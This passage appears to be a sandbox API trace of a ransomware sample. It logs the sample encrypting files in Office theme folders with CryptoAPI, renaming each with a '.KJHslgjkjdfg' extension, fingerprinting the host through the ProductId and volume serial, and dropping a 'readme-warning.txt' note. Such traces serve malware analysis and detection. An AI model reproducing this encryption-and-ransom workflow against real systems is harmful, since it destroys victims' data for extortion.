hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7280, dwBufLen=0x7280 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7280) returned 1 [0149.738] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.738] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7280, lpOverlapped=0x0) returned 1 [0149.738] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.739] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.739] SetEndOfFile (hFile=0x118) returned 1 [0149.742] GetProcessHeap () returned 0x2a0000 [0149.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.742] GetProcessHeap () returned 0x2a0000 [0149.742] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0149.743] CloseHandle (hObject=0x118) returned 1 [0149.743] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0149.743] GetProcessHeap () returned 0x2a0000 [0149.743] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.743] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.743] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0149.743] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.743] GetProcessHeap () returned 0x2a0000 [0149.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0149.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.744] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0149.744] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.744] GetProcessHeap () returned 0x2a0000 [0149.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0149.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.744] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0149.744] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.744] GetProcessHeap () returned 0x2a0000 [0149.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0149.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.744] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0149.744] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.744] GetProcessHeap () returned 0x2a0000 [0149.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.744] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0149.744] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.744] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0149.745] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0149.745] RegCloseKey (hKey=0x118) returned 0x0 [0149.745] GetProcessHeap () returned 0x2a0000 [0149.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0149.745] GetProcessHeap () returned 0x2a0000 [0149.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.745] GetProcessHeap () returned 0x2a0000 [0149.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0149.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0149.745] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0149.745] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.745] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0149.745] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.745] GetProcessHeap () returned 0x2a0000 [0149.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0149.746] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0149.746] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0149.746] GetProcessHeap () returned 0x2a0000 [0149.746] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0149.746] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt") returned 78 [0149.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.746] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0149.747] CloseHandle (hObject=0x118) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.748] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0149.748] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE", cAlternateFileName="")) returned 1 [0149.748] GetProcessHeap () returned 0x2a0000 [0149.748] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0149.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0149.765] GetProcessHeap () returned 0x2a0000 [0149.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0149.765] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.765] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0149.765] GetProcessHeap () returned 0x2a0000 [0149.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0149.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.766] GetProcessHeap () returned 0x2a0000 [0149.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.766] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.766] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.767] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0149.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.782] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.782] GetProcessHeap () returned 0x2a0000 [0149.782] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.782] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.782] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.782] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.782] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.782] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.782] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.782] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.783] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.783] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.783] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.783] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.783] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3f1, lpOverlapped=0x0) returned 1 [0149.783] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x400, dwBufLen=0x400 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x400) returned 1 [0149.783] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.783] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x400, lpOverlapped=0x0) returned 1 [0149.783] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.783] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.783] SetEndOfFile (hFile=0x118) returned 1 [0149.786] GetProcessHeap () returned 0x2a0000 [0149.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.786] GetProcessHeap () returned 0x2a0000 [0149.786] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.kjhslgjkjdfg")) returned 1 [0149.787] CloseHandle (hObject=0x118) returned 1 [0149.788] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0149.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.788] GetProcessHeap () returned 0x2a0000 [0149.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.788] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.788] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.788] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.788] GetProcessHeap () returned 0x2a0000 [0149.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.789] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.789] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.789] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.791] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.791] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.791] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.791] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.791] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.791] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.791] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.791] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.792] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x14c40, lpOverlapped=0x0) returned 1 [0149.805] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x14c40, dwBufLen=0x14c40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x14c40) returned 1 [0149.806] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.806] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x14c40, lpOverlapped=0x0) returned 1 [0149.807] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.807] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x14d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.807] SetEndOfFile (hFile=0x118) returned 1 [0149.810] GetProcessHeap () returned 0x2a0000 [0149.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.810] GetProcessHeap () returned 0x2a0000 [0149.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.kjhslgjkjdfg")) returned 1 [0149.813] CloseHandle (hObject=0x118) returned 1 [0149.813] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0149.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.817] GetProcessHeap () returned 0x2a0000 [0149.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.817] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.817] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.817] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0149.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.819] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.819] GetProcessHeap () returned 0x2a0000 [0149.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.819] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.819] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.819] WriteFile (in: hFile=0x118, 